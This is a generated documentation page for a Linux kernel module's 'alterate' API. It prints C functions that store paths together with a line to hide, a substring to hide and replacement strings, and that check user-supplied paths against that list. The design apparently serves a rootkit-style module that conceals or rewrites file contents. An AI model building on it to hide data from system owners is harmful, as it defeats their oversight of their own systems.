alterate_api.h File Reference

#include <linux/errno.h>
#include <linux/module.h>
#include <linux/types.h>

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Functions
int	alterate_init (void)
void	alterate_exit (void)
int	alterate_add (const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
int	alterate_remove (const char *path)
int	alterate_contains (const char __user *u_path)
int	alterate_list_get (char *buf, size_t buf_size)

Variables
struct ulist	alt_list

Function Documentation

alterate_add()

int alterate_add	(	const char *	path,
		int	hide_line,
		const char *	hide_substr,
		const char *	src,
		const char *	dst
	)

Definition at line 23 of file alterate_api.c.

                                                   {
    int ret;
    char payload[512];
    char modpath[256];
 
    if (strcmp(path, "/") == 0)
        return -EINVAL;
 
    if (strlen(path) >= sizeof(modpath))
        return -ENAMETOOLONG;
    strscpy(modpath, path, sizeof(modpath));
 
    size_t len = strlen(modpath);
    if (len > 1 && modpath[len - 1] == '/') {
        modpath[len - 1] = '\0';
    }
 
    scnprintf(payload, sizeof(payload), "%d:%s:%s:%s", hide_line,
              hide_substr ?: "", src ?: "", dst ?: "");
 
    ret = ulist_add(&alt_list, modpath, 0, payload);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&alt_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}

alterate_contains()

int alterate_contains

(

const char __user *

u_path

)

Definition at line 69 of file alterate_api.c.

                                                 {
    char *k_path;
    long n;
    int blocked = 0;
 
    if (!u_path)
        return 0;
 
    k_path = kmalloc(PATH_MAX, GFP_KERNEL);
    if (!k_path)
        return 0;
 
    n = strncpy_from_user(k_path, u_path, PATH_MAX);
    if (n <= 0) {
        kfree(k_path);
        return blocked;
    }
 
    if (n == PATH_MAX)
        k_path[PATH_MAX - 1] = '\0';
 
    blocked = ulist_contains(&alt_list, k_path);
 
    kfree(k_path);
    return blocked;
}

alterate_exit()

void alterate_exit

(

void

)

Definition at line 18 of file alterate_api.c.

                         {
    ulist_save(&alt_list);
    ulist_clear(&alt_list);
}

alterate_init()

int alterate_init

(

void

)

Definition at line 8 of file alterate_api.c.

                        {
    int ret;
 
    ulist_init(&alt_list, ALTERATE_CFG_FILE);
    ret = ulist_load(&alt_list);
    if (ret < 0)
        return ret;
    return SUCCESS;
}

alterate_list_get()

int alterate_list_get	(	char *	buf,
		size_t	buf_size
	)

Definition at line 96 of file alterate_api.c.

                                                  {
    return ulist_list(&alt_list, buf, buf_size);
}

alterate_remove()

int alterate_remove

(

const char *

path

)

Definition at line 55 of file alterate_api.c.

                                      {
    int ret;
 
    ret = ulist_remove(&alt_list, path);
    if (ret)
        return ret;
 
    ret = ulist_save(&alt_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}

Variable Documentation

alt_list

struct ulist alt_list

extern

Definition at line 6 of file alterate_api.c.